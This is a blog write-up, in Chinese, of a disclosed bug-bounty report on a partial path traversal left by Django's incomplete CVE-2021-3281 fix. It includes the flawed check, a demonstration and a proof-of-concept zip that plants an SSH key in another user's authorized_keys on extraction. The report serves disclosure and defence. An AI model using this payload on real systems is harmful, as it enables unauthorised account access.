Django 路径遍历漏洞详解:CVE-2021-3281 补丁修复不完全

本文详细分析了Django中CVE-2021-3281漏洞的不完全修复情况。研究人员发现原始补丁因`os.path.abspath`函数会移除路径末尾分隔符,导致针对部分路径遍历攻击的防护逻辑失效,并提供了概念验证代码。Django安全团队最终确认并发布了新的修复补丁。

路径遍历漏洞:CVE-2021-3281 的不完全补丁

报告提交者: stackered 报告日期: 2025年9月5日 UTC 下午1:21 报告状态: 已解决

漏洞概述

在对历史漏洞补丁进行代码审查时,我发现针对 CVE-2021-3281 的修复并不完整。该漏洞的原始缓解措施是在 ZipArchiveTarArchive 类的 extract 函数中增加了防护逻辑,以确保所有文件都被提取到基础文件夹(target_path)之下。

技术分析

原始防护代码

1
2
3
4
5
6
7
# django/django/utils/archive.py
def target_filename(self, to_path, name):
    target_path = os.path.abspath(to_path)
    filename = os.path.abspath(os.path.join(target_path, name))
    if not filename.startswith(target_path):
        raise SuspiciousOperation("Archive contains invalid path: '%s'" % name)
    return filename

这段代码使用 abspath 函数获取绝对且规范化的唯一路径,然后利用 startswith 函数验证目标路径是否位于预期的基础文件夹内。

漏洞根源

abspath 函数会移除路径末尾的分隔符,这使得防护逻辑不足以防御部分路径遍历攻击。

攻击示例: 假设基础文件夹定义为 /var/lib/,初始文件名为 /var/library/test.txt。由于末尾斜杠被移除,攻击者仍然可以通过部分路径遍历到另一个以相同字符开头的目录,因为此检查会通过:

1
"/var/library/test.txt".startswith("/var/lib") == true

在Python命令行中执行以下代码不会引发预期的异常:

1
2
3
4
5
import os
target_path = os.path.abspath("/var/lib/")
filename = os.path.abspath(os.path.join(target_path, "/var/library/test.txt"))
if not filename.startswith(target_path):
   raise Exception

实际影响

这导致了一个部分路径遍历漏洞,使得攻击者在解压归档文件(tar 和 zip)时,能够将文件写入基础目录之外。

交互与验证过程

初始回应

Django 安全团队成员 nessita 于 2025年9月11日回应,确认收到报告并请求保密,同时告知评估可能需要数周时间。

请求更多信息

2025年9月16日,Django 工作人员 theorangeone 将状态更改为"需要更多信息",表示无法自行复现该问题,要求提供使用 Django 工具并展示漏洞利用的概念验证(PoC)代码。

提供 PoC

报告提交者 stackered 随后提供了一个功能性的 PoC 代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import zipfile
from django.utils.archive import *

zip_path = "malicious.zip"

def create_malicious_zip():
    with zipfile.ZipFile(zip_path, "w") as zf:
        zf.writestr("/home/johnny/.ssh/authorized_keys", "ssh key\n")
        zf.writestr("test.txt", "Test\n")
    print(f"Archive {zip_path} has been successfully created")

def extract_archive():
    archive = ZipArchive(zip_path)
    archive.extract("/home/john")

if __name__ == "__main__":
    create_malicious_zip()
    extract_archive()

PoC 说明:/home 目录下创建两个可由运行 PoC 的同一用户写入的目录(johnjohnny)。即使目标解压目录设置为 /home/john,此代码也会在 /home/johnny/.ssh/authorized_keys 中添加(如果不存在则创建)攻击者的 SSH 密钥。

漏洞确认与修复

2025年9月18日,Django 工作人员 sarahvboyce 将漏洞严重性从"中(5.3)“调整为"低(3.7)",并将状态更改为"已分类”。她指出,要使此攻击生效,攻击者必须知道用户将通过 startapp --template 等命令在哪个目录进行解压。

Django 团队确认了该漏洞,并已申请 CVE 编号。他们附上了提议的缓解解决方案(补丁文件 0001-Fixed-CVE-2025-XXXXX-Fixed-potential-partial-directo.patch),请报告者测试该补丁以确保其可靠地修复问题。

关于严重性的讨论

报告者 stackered 对严重性评级提出异议,认为在许多情况下(例如通过拦截和分析请求、开源应用程序或攻击者可控制解压目录),攻击者可能猜出或知晓解压目录,因此最初评估为"中危"是合理的。

Django 团队 sarahvboyce 回应称,他们维持当前的评估,因为 archive.extract 是一个未记录的方法,根据其安全政策,通常不在测试范围内。该方法的有效使用范围仅限于 python manage.py startproject/app --template,这些是开发者在设置项目时运行的命令,并不在已部署的应用程序中使用。

最终处理

漏洞修复

该漏洞于 2025年10月1日随 Django 版本 5.2.7、5.1.13 和 4.2.25 的发布得到修复。Django 工作人员 jacobtylerwalls 于 2025年10月2日将报告状态关闭并标记为"已解决"。

赏金决定

互联网漏洞赏金计划(The Internet Bug Bounty)于 2025年11月11日决定此报告不符合获得赏金的条件。

报告披露

报告者 stackered 于 2025年11月21日左右请求披露此报告,并获得了 Django 工作人员的同意。报告随后被公开。

报告元数据

  • 报告 ID: #3328367

  • 报告给: Django

  • 状态: 已解决

  • 严重性: 低(3.7)

  • 披露日期: 2025年11月21日 UTC 下午7:05

  • 弱点类型: 路径遍历

  • 赏金:

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计